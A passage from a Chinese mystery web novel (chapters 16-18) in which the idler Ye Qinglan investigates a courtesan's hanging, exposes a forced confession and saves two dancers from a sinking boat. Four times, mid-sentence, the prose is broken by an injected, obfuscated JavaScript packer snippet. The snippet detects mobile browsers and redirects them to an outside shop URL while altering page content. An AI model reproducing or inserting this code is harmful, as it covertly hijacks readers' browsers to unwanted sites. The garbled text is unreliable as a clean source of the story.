只因为照夜妃长得美,又出手大方,打赏了他一串珍珠,一枚玉佩,他就情愿东奔西跑,绞尽脑汁,半夜吹着冷风候在屋顶上,寻那害她的“鬼”? 即便抓住凶手,也没人会领情。没有人会记住他。 叶青岚幽幽地叹了口气。 不过是,一念不忍。 月到中天,湖面仍是一片静谧。明月勾勒出群山的轮廓,仔细看,还能辨认出山峰在湖面的倒影、岸边的草丛和山坡上的乔木。不知从什么地方传来夜枭的鸣叫。 叶青岚猛地直起身子,向黑暗中瞧去。 第七日 晨光微熹,叶青岚在山道上疾行。 山路蜿蜒,两侧都是常绿乔木,伸出的枝叶上还沾着晶莹的露水。 这正是他上次带着陈思贤走过的路。转过一个弯,便是他吓唬过陈思贤的那个豁口。 他未作停留,继续向上爬。 又走了约莫一盏茶的工夫,峰回路转,两颗乔木中间露出一条石板小路来,路尽头有个八角凉亭,亭上悬着一块匾额:半山亭。 此亭建于一块突出的山崖之上,视野开阔,三面透风,是夏日乘凉的好去处。如今寒冬腊月,冷风刺骨,没有人会到这儿来。 可亭子并不空旷,相反,挤得满满当当。 叶青岚粗略数了数,两只精钢锅炉、一套黑釉茶壶、三只大小各异的空酒壶、一只黄铜手炉、银盘子里吃了一半的糕点配几碟子腊肉、木筷子、竹筷子、堆在一起的十几根蜡烛、两件胡乱扔在地上的狐狸毛大氅、一柄剑。这些东西下面是一张厚实的羊毛地毯,裁成八角形状,刚好铺满亭子的地面。 看来有人把这里当成宴客的雅间了。 他捡起狐狸毛大氅摸了摸,比自己那件厚实多了。他果断脱下自己的,换上这一件,一股暖意从背后升起,好像泡在温泉水中,浑身舒坦。下摆有些拖地,他小心地绕过满地狼藉,走到亭子外,又发现一柄剑。 这柄剑和亭子里那柄看起来一模一样,只不过它斜插进地下,剑柄荡在半空,一碰就左右摇摆。 叶青岚顺着剑尖的反向看去,只见八角亭外侧的两根柱子都被削去了表皮,露出里面的木料,木头上斑斑驳驳,尽是划痕。 看起来是两名用剑的高手在此约会,先喝茶,后吃肉,再喝酒,喝完酒一言不合打了起来,剑气划烂了柱子,一个人打落了剑,逼迫另一人翻下山崖,自己也弃剑而去。 叶青岚沿着亭子外围走了一圈,发现树枝上也有不少遭砍的痕迹。捡起酒壶晃了晃,一股诱人的酒香飘了出来。拿起瓷杯一看,釉色细腻纯净,是上品无疑。 满地的好东西,他什么都没拿,脱下大氅叠好,放在亭子边缘。 心念一转,又捡起另一件大氅,抖开闻了闻。 一股极淡的幽香,是几天前闻到过的。 叶青岚扔下大氅,对着湖面长啸一声,连日来的迷雾一扫而空。 那日他和陈思贤、陆冰离这里不过几丈远,只需再走一段就能发现这亭子。 可惜断案之道,差之毫厘,谬以千里。 叶青岚迎着初升的太阳走回醉春风,推门喊道,“来人,给爷上杯浓茶!” 没有回音。大厅里连个鬼影子都没有。所有下人都被提刑司抓去审问了。 没人正好,方便行事。他光明正大地上了三楼,往楼梯后面一瞧。 确实有一间小室。 他推门进去,只见门上开了一个小窗,正对着照夜妃的房门,所有人进出都能看见。 蔡妈妈怕照夜妃半夜逃跑,雇了阿猫阿狗在此盯守,不料这两人挨不住拷打,把雇主给卖了。 这才叫搬起石头砸自己的脚。 外面传来一串沉重的脚步声。 探头一看,幼薇红着眼睛跑上来,一阵风似的冲进自己房间,摔上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255584|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了门。 这个时间,她怎么没在练舞? 叶青岚毫不见外地推门走了进去。 “幼薇姑娘,因何事伤心啊?” 幼薇吓了一跳,“你是谁?” “在下叶青岚,浮世一闲人。”他真该在胸口挂块木牌,写上自己的名字。“我仰慕姑娘许久,可惜你从来都不记得我。” 幼薇愣了愣,“时辰尚早,我们还未开门呢。” 短短几天,她瘦了一大圈,下巴尖了,连眼皮都凹了下去,浓妆都掩不住憔悴之色。 叶青岚盯着她的眼睛,“我知道,你受了很多委屈。” 幼薇本就心情激荡,听他这么一说,哇地一声哭了出来,“这日子没法过了……先是诬赖我杀人,逼我跳窗户,又说那手印是男人留下的,把我的客人都抓走了。我练舞练出一脚水泡,姑姑还天天打骂,刚才直接把我赶回来,说……说不必练了,像狗熊上树!叶公子,你说这世上还有没有天理……” “别听她胡说,哪有那么漂亮的狗熊。” 幼薇拿出一条手绢,□□鼻涕,“我什么都不在乎了,明天随便跳一场,遭人嫌弃也没法子。” “窈娘不该拿你和照夜妃比。何况,你也不比她差。” 幼薇抬起头,一双杏眼湿漉漉的,“男人们都喜欢她……” “未必。你可认得一个叫韩崇德的?” 幼薇换过一块干净帕子,抹了抹泪,却把脂粉糊了一脸。 “韩崇德……好像是有这么个人,从前和绛珠有过节,前不久来醉春风闹过一场。” “怎么闹的?” “他说绛珠骗光了他的钱。这倒不稀奇,绛珠行事一贯如此,妈妈也乐得纵容。稀奇的是这姓韩的走了狗屎运,没几年就把钱赚回来了,生意还做得比以前更大。他拿了一沓银票,摔在绛珠脸上,说她为了这点钱抛弃他,实在是狗眼看人低。” “后来呢?” “后来两人就进房了,折腾了一宿。第二天天不亮姓韩的就走了,再也没回来过。” “他走后,绛珠是喜是忧?” “我怎知道。她三天没能下床,饭都是小丫头端进去喂她吃的。” 叶青岚怔在当场。 幼薇瞥了他一眼,“看来叶公子是个体面人。干我们这一行,这样的事多着呢。” 她说这话的语气,好像在谈论天气。 叶青岚拉过她的手,“可曾有人如此对你?” 幼薇哭花了的脸上立刻现出媚态,半边身子贴了过来,“没有,叶公子想做第一个么?” 叶青岚皱着眉,夺过帕子,捉住她的猫脸仔仔细细擦了一遍。 三个时辰后,叶青岚提着个食盒,意气风发地走向提刑司。他头上戴的是家丁的帽子,身上穿的是家丁的衣服,手里握着那块偷来的提刑司令牌。盒子里装着他从醉春风后厨顺来的一只卤鸡爪,香气诱人。他在鸡爪下面垫了一张薄纸,盖紧盖子,以防自己忍不住诱惑,半路上把它吃了。 “我奉陆夫人之命,来给少爷送吃的。” 16. 第 16 章 提刑司门口的看守扫了一眼牌子,就放他进去了。叶青岚如同回了自己家,长驱直入,走进审讯间,把食盒往陆冰案头一搁,“少爷,这是上元节典藏版卤鸡爪。夫人特意嘱咐,明晚之前必须吃完。” 陆冰头也不抬地吼道,“没看到这里在审案子么?!” 吼完了,才发现眼前是个生面孔,“你是谁?” 叶青岚嬉皮笑脸,“小人叶二,新来的家丁,今儿第一天当值。夫人见我活泼机灵,就把最重要的事派给我了。” 陆冰不耐烦地挥挥手,“滚一边去。” 他手上有血迹。 叶青岚皱起鼻子。审讯室里的血腥味实在太重了些。 架子上绑了个血人,浑身上下都是鞭痕,头垂着,十指肿如馒头,脚下还在淌血。 要不是那件千疮百孔的紫色袄子,他根本认不出蔡妈妈。 这个陆冰,简直是阎王爷转世。 阎王爷一拍桌子,“你方才说,是你杀的?” 蔡妈妈颤了颤,喉咙里发出含混不清的声音。 “大点声!” “是……我……” “如何犯的案,一五一十说来。” 蔡妈妈只是喘息。 “给她喝口水。” 差役端着茶壶走过去,往她嘴里灌。 蔡妈妈喷出一口血水,勉强抬起头,“是我。我恨照夜妃要赎身,就在她独自练舞之时,进屋勒死了她。” 叶青岚的眉头拧成了结。 “勒死以后呢?” “我往窗框上钉了两个大铁钩,把她的尸体挂到窗外。” “天蚕丝从何处得来?” “去年一个叫苏哈的海外商人送给照夜妃的。” “你离开后,门又是如何锁上的?” 他问到了关键。 蔡妈妈喘着气,“官爷有所不知,房门顶部也有一个插销。我扭弯了黄铜小锁,扔在门内地上,出来后推上门顶部的插销,这样门就从外面锁住了。官爷一脚踢坏的其实是外面的锁。” 陆冰恍然大悟,“好深的心机。” 叶青岚暗暗摇头,这供述分明漏洞百出。 “官爷……我都按你的意思说了……” 陆冰道,“你犯下杀人重罪,等着秋后问斩吧。” 他走到师爷面前,拿过卷宗仔细看了两遍,笑道,“结案!” 差役们全都欢呼起来。案发以来,他们被陆冰指使得团团转,抓人审讯,几天几夜没合眼,这下终于可以睡个囫囵觉了。 叶青岚悄悄离开了审讯室。 外面的差役还没听到喜讯,个个一脸肃穆。他亮出令牌,问明证物间的所在。 一名差役领着他进去。从照夜妃房中搜到的金银珠宝分门别类收在箱子里,损毁的衣服被褥和各种杂物也在。桌上平摊着那件从尸身上剥下来的舞衣,还有一截吊颈的天蚕丝。 叶青岚关上门窗,吹灭蜡烛。 一瞬间,夜明珠的光华充盈于室。 一切都如他所料。 他站在遗物中间,忽然一阵伤感,“绛珠,你安心地去吧。杀人者会付出代价的。” 第八日 上元节。 叶青岚是被馋醒的。 一股香甜的气味从楼底下飘上来,害得他饿了一天一夜的肚子狠狠叫了起来。 酒酿甜水?不对,是芝麻汤圆。 他开门一瞧,伙计捧着热气腾腾的汤圆往一间间客房里送,唯独跳过了他。 最后一个铜板也花完了,叶青岚如今连一碗汤圆都吃不起了。 他委屈巴巴地走出客栈。 满街都是好吃的。饭馆门口摆了各色鲜果糕点,烤饼一笼一笼蒸出来,熟食铺子的烤炉烧得正旺,整只的鸡鸭色泽金黄,香飘天外。 两旁的摊位上冒出许多平日里见不到的稀奇玩意儿,糖画、面人、蛐蛐儿、泥娃娃,五彩斑斓的花灯架在头顶,恰似一大片祥云,鱼灯、龙灯、兔子灯头对着头,脚碰着脚,谁也不让谁,只等晚上点亮,一较高下。 叶青岚在王麻子烤饼摊前流连半天,偷偷咽口水,遭了王麻子几回白眼,只好讪讪离去。 去醉春风说不定能蹭点吃的。 昨日提刑司结了案,但牢里押着的人一时还没放回来,姑娘们从楼里搬出许多软垫、帷幔和小矮凳,沿湖摆了三排,放上杯盘碗碟。 后厨里冷锅冷灶,汤圆还没开始煮呢。 大厅里隔出许多雅座,二楼三楼的房间也拆了门板,每一寸地方都利用到极致。窗边视野最好的位置全都用厚厚的帐子围了起来,留给那些不便暴露身份的贵客。 叶青岚暗暗叹气,根本没有他的藏身之处啊。 过了中午,湖边已人满为患。豪华马车堵在街口,贵人们跳下车,争先恐后地往湖边跑。沿岸的位子全部占满,糕点茶水不停歇地送出来。 一个时辰后,连站的地方都没有了。人群形成一道屏风,竖在湖边。 天色暗下来的时候,整条街挤得水泄不通,人堆里连一丝风都透不进来,小孩骑在大人肩膀上,个子高的占尽优势,个子矮的暗暗嫉恨。 叶青岚之所以还能正常呼吸,只因他趁人不备爬上了屋顶。 这是他第三次爬楼,已然熟能生巧,身手接近一只不太灵活的猴子。他坐在屋脊上俯瞰下方,深刻体会到何为高处不胜寒。 人们等得无聊,七嘴八舌,议论纷纷,回忆去年上元夜的盛况,猜想今年的表演,谈的最多的,当然还是照夜妃离奇暴毙一案。关于蔡妈妈究竟是不是凶手,众说纷纭,有人说提刑司一贯屈打成招,冤枉好人,也有人说三板斧虽然凶悍,还不至于草菅人命。 湖边的那艘画舫静悄悄地泊在原处,像个身经百战的将军,兵临城下之际,依旧稳如泰山。 第一盏灯亮起来的时候,人群中爆发出欢呼。紧接着第二盏、第三盏……整条街的彩灯次第点亮,顿时将湖畔照得亮如白昼。 “看那儿,月亮出来了!” 两座山峰之间,初升的月亮露出了半张脸,颜色竟是橙红的,就像是被对岸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255585|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的花灯映红了。人群中又是一阵欢呼。 众人如痴如醉地望着月亮,等待它完全升起,映在鸭蛋形的滴翠湖中。湖的一边是彩灯的影子,另一边是山峰的轮廓,天色全暗,一张张仰望的人脸上,贪嗔痴尽皆隐去。 一阵悠扬的笛声响起,画舫动了! 没有人注意到那绿衣舞姬是什么时候进到船里的,或许一早就等在那里。她像一株春天的幼苗从船板上生长出来,长袖轻摆,回眸露出一个侧脸。花灯映照下,单一个侧脸就美得不可方物,人群中彩声如雷,一枚枚铜钱从楼上楼下、四面八方朝那画舫飞去,砸在船顶、船舷、船尾、船头,还有不少落到湖里。 叶青岚深恨那些铜钱不长眼,该当飞向屋顶,让他捞上几枚,好去填那饿扁了的肚子。 幼薇头脸周身都被砸了许多下,却混若无事,随着笛声转起圈来。绿影翩跹,那画舫掉转方向,越飘越远,往湖中心去了,岸上砸过来的铜钱追赶不及,越离越远,终于都喂了鱼虾。 叶青岚人在高处,看得分明,船头有个瘦削的人影,手握船桨,一下一下扳开水花。 画舫渐渐移向月影,幼薇腰肢回旋,衣袂飘飞,时而伸手向水中捞月,时而抬脚轻点水面,真如凌波仙子踏浪而来。 岸上的喝彩声却比刚才小了,人人伸长脖子,瞪大眼睛。画舫泊在岸边时还能被彩灯照亮,等划到湖中央,周围漆黑一片,只能辨认出船的轮廓。船头跳舞的人越来越小,成为月光下一个朦胧的影子。 有人叫道,“划近点,都看不清了。” “等了大半日,就让人看这个?” “醉春风赚了这么多银子,船上连灯都不舍得点么?” 起初只是零星的抱怨,后来骂声越来越多,连醉春风楼上都传出倒彩。 吹笛子的怜卿一分心,气息乱了,一个长音没吹出来,笛声戛然而止。 湖中起舞的幼薇这才从忘我之境中抽离出来,停了动作。听着岸上的骂声,心底一阵冰凉。这费尽心机的上元舞,终究是演砸了。岸上灯火通明,热闹属于别人,而她身不由己,一点点划向无边无际的黑暗。 脚底突然一阵冰凉,她借着月光低头看去,吓得一个激灵。湖水已经漫过半个船头,没过了脚脖子。 幼薇惊叫出声,扭头一看,船身一半浸在水里,正在迅速下沉! 窈娘抓着船桨,一动不动地站在船尾,好像吓呆了。 观众还在说风凉话,“怎么不跳啦?” “演砸了吧!” “救命!”幼薇向岸上大喊,“我不会凫水!” 然而笛声响起,盖住了她的呼救。怜卿调匀了气息,接着方才断掉的地方继续吹,一边吹一边眼望幼薇,期待她跟上。 幼薇小小的身影在船头急得团团转,突然手脚并用,向船舱顶爬去。 观众哈哈大笑,有人讥讽道,“狗熊爬树!” 船沉得极快,湖水一波一波灌进船舱,幼薇牢牢抱住舱顶,探头一看,船尾空了。 “窈娘!窈娘你在哪儿?” 17. 第 17 章 岸上的人们终于发现不对劲,“大家快看,船在往下沉!” “难道是故意设计的?” 醉春风三楼窗口扔出来一只酒杯,“演得太烂了,退钱!” 竟然没人意识到湖中央两个女子命悬一线。 正当此时,屋顶传来一声暴喝,“提刑司听令,下水捞人!” 滴翠湖岸边东南西北四个方向,同时窜出十几个身穿水靠的黑影,发一声喊,一个接一个跳入湖中,向画舫游去。 “一个在船舱顶,一个在水里,要快!” 岸边熙熙攘攘的人们同时抬头,无数双眼睛盯着那个指手画脚的身影,“那是何人?” “不知道,从来没见过。” “他也是表演的一环吗?” 一个黑影游得最快,抢到下沉的画舫边,把幼薇从船舱顶救了下来,余下的人一圈一圈搜寻。浑圆的月影被碾得粉碎。不一会儿,就有两人抓着窈娘,从水里浮了上来。 二女很快被推上岸,幼薇浑身淌水,伏在地上不住哆嗦。窈娘双眼紧闭。差役在她胸口按压几下。窈娘口中吐出许多水来,缓缓睁开了眼。 众人问,“屋顶上的公子,这究竟是怎么回事?” 叶青岚不答,眼望道路尽头,“劳烦大家给提刑司的陆捕头让出一条路。” 一匹通体雪白的高头大马前蹄抬起,对月长嘶,马上那人威风凛凛,鹰钩鼻子薄嘴唇,正是名满京城,人人惧怕的提刑司三板斧陆冰。 他身后跟着十几个差役,马蹄声杂沓,强行挤开人群,来到湖边。 陆冰下了马,看看地上两个水鬼似的女人,又看看自己穿着水靠的下属,奇道,“谁让你们来的?” 穿水靠的人面面相觑,“不是陆捕头你让我们来的吗?” “我何时说过?” 头顶有声音飘下来,“是在下擅自借用了陆捕头的令牌,调动提刑司的兄弟们提前做了准备。事先没有禀告陆捕头,还望海涵。” 陆冰抬起头,只见一个翩翩公子在屋顶迎风而立,嬉皮笑脸地把玩一块令牌。 明月从他背后照过来,给他周身镀了一层银辉。 “你是何人?” “在下叶青岚,浮世一闲人。” “偷盗令牌,胆大包天,还不下来束手就擒。” 叶青岚吐吐舌头,“陆捕头近日抓的人,不嫌太多了吗?在下帮陆捕头找出杀害照夜妃的真凶,将功折罪,如何?” 陆冰冷笑,“这个不用你费心。真凶就在这里。” 他转过头,一指地上瑟瑟发抖的人,“幼薇,你出于嫉妒,残忍杀害同在醉春风的花魁照夜妃,悬尸于窗外,你可认罪?” 那一指,就好像判了她的死刑。 幼薇惊恐未定,拼命摇头,湿发甩出一大片水花。“不……不是我,我当晚一直和王公子在一起,他可以证明我的清白。” “他是你的姘头,自然会为你遮掩。” “可大人当日亲自验证过,我的手印对不上,王公子的手印也对不上。” 陆冰弯起唇角,“这便是此案的关键。本捕头昨日收到一物,从中悟出了一个道理。你想不想听一听?” 幼薇压根不想听,却又不敢不听。 陆冰从怀里掏出一张薄纸,上面有一大摊油渍。“这是熟食铺子用来垫卤鸡爪的纸。背后写有一行小字:尽快食用,一日后卤水洇开则味变。这滩油渍起初和鸡爪一般大,放了一日,就变大了一圈,你可知道是为什么?“ 幼薇摇摇头。 “卤汁之中含有盐分,放置一天,吸收了空气中的水汽,会向外扩散。所以这个鸡爪印,就越长越大了。就和你爬窗时留下的那只手印一样!” 他指了指醉春风,“此楼临湖,空气潮湿,你和照夜妃窗户中间的柱子虽然刷了漆,但年月久了,木料表面出现孔隙,你手上的汗液和脂粉吸收了水汽后,便顺着那些孔隙向外扩张,所以一个女子手印才会在两天之内扩大成一个男子手印。” 叶青岚大感欣慰,陆捕头果然聪明绝顶,不枉他一番苦心,自己饿着肚子,还给他送鸡爪。 幼薇脸色灰败,嘤嘤哭了起来,“大人明鉴,我自己都不知道那手印是何时印上去的,我是扒过窗户,可我万万不敢杀人呀。” “狡辩!当日在你房中大家亲眼所见,只有身子探出窗口,伸长胳膊才能够到柱子。你若不是去行凶,爬窗干什么?” “我半夜醒来,一时好奇,想开窗看看,却见到了……见到了尸体……我吓得魂飞魄散,还以为做了噩梦。”她膝行几步,抓住陆冰的官袍下摆,“大人,我真的不是凶手啊。” 陆冰狞笑,“此刻才说实话,已经晚了。来人,押回去!” “且慢。”叶青岚道,“听说陆捕头昨日刚结了案,定了蔡妈妈的罪,怎么今日又来抓幼薇?” 陆冰脸上闪过一丝尴尬,“差役们整理证物时没找到断了的插销。我派人又去勘察过,门顶上的插销完好。这说明我破门而入时,插销并没放下,那房门确实是从里面锁上的。” “原来如此。这样一来,蔡妈妈的供述就不成立了,就算她当晚进过照夜妃的房间,也没法在行凶离开后,从里面锁上门。” “不错。凶手还是翻的窗户。” “然而蔡妈妈明明没有杀人,为何会屈打成招?提刑司审犯人的手段,不嫌太残忍了吗?” 陆冰一怔,“放肆!你有何资格批评提刑司?” “蔡妈妈没有犯罪,却遭毒打,被你抓去问话的人稍有不服,也遭鞭打,看来打人对你来说是家常便饭。” 陆冰的手伸向腰间鞭子,“你以为站在屋顶,我这鞭子就够不着了?” 二人这么一上一下地对答,围观众人一会儿仰头,一会儿低头,脖子渐渐发酸。 “在下胸口的鞭伤还没好全,不劳陆捕头费心再添一道。陆捕头背上的伤好全了吗?蔡妈妈在提刑司遭毒打,醉春风又有多少姑娘遭过她的毒打?连幼薇房中都备着伤药……”叶青岚微微叹气,“你大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255586|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得皮肉之苦不算什么,我却觉得世人忧患实多,何必再添苦楚。” 陆冰皱起眉头,这陌生人怎么什么都知道?看他站在屋顶侃侃而谈,颇有几分世外高人的风度,莫非有什么来历? 叶青岚见他沉思不语,还道他有所触动。 他转向幼薇,“你扒窗户的时候看到了什么,可以说出来了。” 幼薇的眼睛瞪得老大,“我看到……照夜妃吊在窗口,吓死我了。” “还有呢?” “没了。” “你再想想。” “真的没了!” 叶青岚道,“那晚天上有云,外面漆黑一片,街上又不像今日点了那么多彩灯。你如何看清尸体?” 幼薇深深吸了口气,突然尖叫起来,“她在发光啊!” 她的声音异常凄厉,人人听在耳中,都起了一身鸡皮疙瘩。 叶青岚道,“不错。她死时穿的那件舞衣是在成衣铺花了一百两银子定制的,衣料上涂了一种从萤火虫身上提炼的物质,使之能在夜里发光。我问了成衣铺的掌柜,那衣服做好后,是醉春风的妈妈亲自去取的,言明专为花魁娘子表演上元舞所用。 “知道了此事,再看幼薇今夜的舞,就明白缺了什么。为何画舫要划到湖心?船上为何不点灯?若幼薇穿了一件夜里能发光的舞衣,表演的效果就大不相同了。漆黑的湖面中,凌波仙子身穿彩衣踏月而来,那才是大家期待已久的上元舞。” 众人恍然大悟。 陆冰看向愣住的幼薇,“你杀掉照夜妃想取而代之,却不知道这舞衣的奥秘。” 叶青岚道,“陆捕头,出问题的不止衣服,还有船。没有哪支舞跳到中途,会让舞姬和船一起沉下去的。” 陆冰顿悟,“我懂了,幼薇杀了人后,良心发现,决定以死谢罪!” 空气凝固了。所有人都呆望着陆冰。 陆冰察觉气氛不对,紧急掉头,“窈娘,是你!你知道了事情真相,要杀了幼薇为照夜妃报仇!” 窈娘一动不动地伏在地上,恍若未闻。 叶青岚道,“她二人都在船上,这寒冬腊月在湖中央落水,若无事先准备,极难营救,不淹死也会冻死。” 陆冰想了想,“这艘船一直泊在岸边,谁都可以上去做手脚。” “但谁又能猜到今晚画舫会划向湖心?” 陆冰一拳砸在手心,“蔡妈妈!闹了半天凶手还是她!我一开始就抓对了人。” 众人嗡嗡议论开了。 叶青岚揉了揉额角,“蔡妈妈不会翻窗,阿猫阿狗的证词也不尽不实。” 陆冰仰着脖子,火气直往头顶窜,“你到底知道什么?赶快下来说清楚!” “是啊叶公子,别卖关子了,快告诉我们谁是凶手。” 叶青岚做了个安抚的手势,“请陆捕头差人把蔡妈妈、陈思贤、韩崇德从提刑司大牢里带过来。这件事情的原委需要他们协助说明。再把师爷叫来,多带些空白卷宗和笔墨,切记切记。” 18. 第 18 章 陆冰自然不愿听这来历不明之人瞎指挥,但若非他提前布置救下了幼薇和窈娘,凶杀案又要多一件。提刑司连日辛苦,陆捕头想结案的心比谁都迫切。 他低声吩咐了几句,两名差役挤开人群,上马去了。 叶青岚往屋脊上一坐,“哪位好心人给在下一碗汤圆?肚子都快饿扁了。” 众人面面相觑。 怜卿道,“后厨还有一些,公子下来吃吧。” “我可不敢,万一刚落地,陆捕头就把我逮了呢?” 陆冰冷冷道,“你呆在上面,我一样抓得到你。” “确实,确实。不过上面的空气清新,离月亮也近些,陆捕头有没有兴趣上来坐坐?” 陆冰翻了个白眼,没搭茬。 怜卿找来一根长竹竿,末端吊着一只竹篮,竹篮里放入一碗汤圆,从三楼窗口伸出,送上屋顶,叶青岚捞起碗就往嘴里送。他饿得久了,只觉这汤圆美味异常,平生从未吃过这么好吃的东西,连声夸赞怜卿手艺冠绝京城,若自立门户,一定赚得盆满钵满。 陆冰在一旁听着,也勾起了馋虫,但碍于面子,不便开口讨要。 叶青岚狼吞虎咽地吃完汤圆,舔了舔嘴唇,感慨道,“陆捕头,上元佳节不与家人团聚,还在为案子奔波,当真辛苦啊。” 陆冰长眉一轩,“少说废话。” 幼薇找到一条毯子,披在身上。窈娘垂着头,如泥塑木雕。 一柱香的工夫,提刑司的差役便带着人回来了。三名人犯皆捆着双手,神情委顿,蔡妈妈满身触目惊心的伤痕,陈思贤和韩崇德没有明显的外伤,但一个双眼红肿,两颊深陷,一个面有菜色。师爷在家喝酒喝到一半被强拉了来,面色不豫,两名书吏抱着半人高的笔墨纸砚,跟在后面。 陆冰道,“人都齐了,快说吧,到底是谁犯的案。” 叶青岚两条长腿荡在半空,整个人浸在月色里。 “案发至今不过七日,提刑司雷厉风行,把相关人等全部筛了一遍,抓捕拷打抄家,三板斧耍尽威风。陆捕头,有没有找到你想找的那件东西?” 陆冰脸色骤变,周身散发出一股危险的戾气,“何意?” “有没有找到多出来的那截天蚕丝?” “……没有。” “这样找都找不到,只能说明凶手把它扔了。系在石头上,抛进湖里,沉入水底。这么贵的东西,扔起来一点也不心疼,可见凶手是个有钱人呐。” 陆冰刀子似的目光射向韩崇德。 韩崇德一惊,努力缩起脖子,想把自己庞大的身躯缩得小一点,再小一点。 “凶手不但有钱,而且不怕麻烦。哪里不能挂人,偏要往窗框上钉那么大两个铁钩,用价值连城的天蚕丝吊颈。现在可是腊月啊,湖风跟刀子似的,挂她的时候自己难免也要受风,挂完了还要用黄铜小锁锁好门,从窗户爬出去。 “我只能推测凶手是个心理变态,对照夜妃怀有极深的恨意,才要把这位风头无两,一舞动京城的花魁从世上彻底抹去,还要把她挂起来昭告天下,好像在说,像她这样行事,必定不得好死。 “问题在于,恨她的人太多了。照夜妃脾气古怪,出口伤人,若不得罪几个人,一天就算白过了。蔡妈妈恨她,费尽力气捧红,说走就要走。眼看摇钱树要没了,她不甘心,所以安排了阿猫阿狗日夜监视。幼薇恨她,处处被她压一头,连客人都被抢走,有她在醉春风一天,自己就永无出头之日。陈思贤恨她,钱被掏空了,身体也被掏空了,人财两失,饱受打击。韩崇德也恨她,旧日恩怨犹在眼前,气死老母之仇刻骨铭心。 “于是我转换思路,开始推测谁最有可能犯案。照夜妃的房间只有一扇窗,要靠近无非两条路。第一条路是从隔壁幼薇的窗户爬进去。虽然危险,但胆子大些、身手灵巧些的人不难做到。幼薇本人或是她包庇的人都可以走这第一条路。” 他看向幼薇,语气缓和,“但她坚称没有犯案,方才又从鬼门关走了一圈,瞧着实在可怜。我们姑且信她这一回。” 幼薇不敢相信这个陌生公子会回护自己,猛地抬头与他对视,妙目之中满是感激。 “第一条路不通,还有第二条路:顺着临湖的柱子爬上来。蔡妈妈、陈思贤、韩崇德,这三人中,谁像是会爬楼的?” 陆冰扫视三人,“这个简单,让他们现在爬一回。” “咳咳,倒也不必。这三人中,陈思贤确凿无疑是爬过柱子的。他亲口承认,案发前将致命的无梦散错当成安眠药,下在了每晚送给花魁饮用的雪莲茶中,为的是伺机潜入照夜妃的房间,偷回属于自己的银子。” 陈思贤一直低着头,这时突然开口,“不是银子,是当票!银子给就给了,那玉镯子可是传了几代的宝贝……” 叶青岚歉然,“恕在下失言,将陈公子说得小气了。陈公子下药后,求见无果,只好爬窗。可惜人瘦力弱,才爬到半层就失手掉了下来,坠入湖中。” 师爷翻着卷宗,“不错。与口供对得上。” “可陈公子说的真是实话吗?他确实因坠湖受凉感染了风寒,还当街甩了陆捕头一脸鼻涕。可他到底是从二楼还是从三楼坠湖?如果他一鼓作气爬到了三楼,翻进房间,发现照夜妃没有喝茶,正在专心练舞。他还来不及遁走,就被照夜妃发现了,两人争执起来,照夜妃威胁要报官抓他。陈公子可是马上要参加科考的,要是犯了案,前途尽毁。他怒从心起,一不做二不休,失手勒死了她。” 陈思贤大怒,“我没有!你这全是恶意揣测。绛珠是我三世的恋人,我怎舍得对她下手?” “这只是一种可能性。你确有犯案的机会,而且事发当晚,无人证明你不在场。蔡妈妈和韩崇德也是一样。你们两个甚至不需要亲自动手,只要花点银子,雇个身强力壮的,就可以替他们除掉照夜妃这个眼中钉。” 蔡妈妈人还很虚弱,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255587|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出话。韩崇德却大声反驳,“这是莫须有之罪!” “案子卡在这里。提刑司抓了打,打了审,审了再抓,大牢都快关不下了,穷举所有的嫌疑人,也没抓出凶手的把柄。” 陆冰沉下脸,“说了半天,都是臆测,你不会想用这些来糊弄本捕头吧?” 叶青岚讪笑,“说来惭愧,我调查此案,比陆捕头多占些便宜。只因事发当晚,我就睡在照夜妃的床上。” 好像一滴水落入油锅,人群炸开了。 陆冰震惊得舌头打结,“你……你……这怎么可能?!” 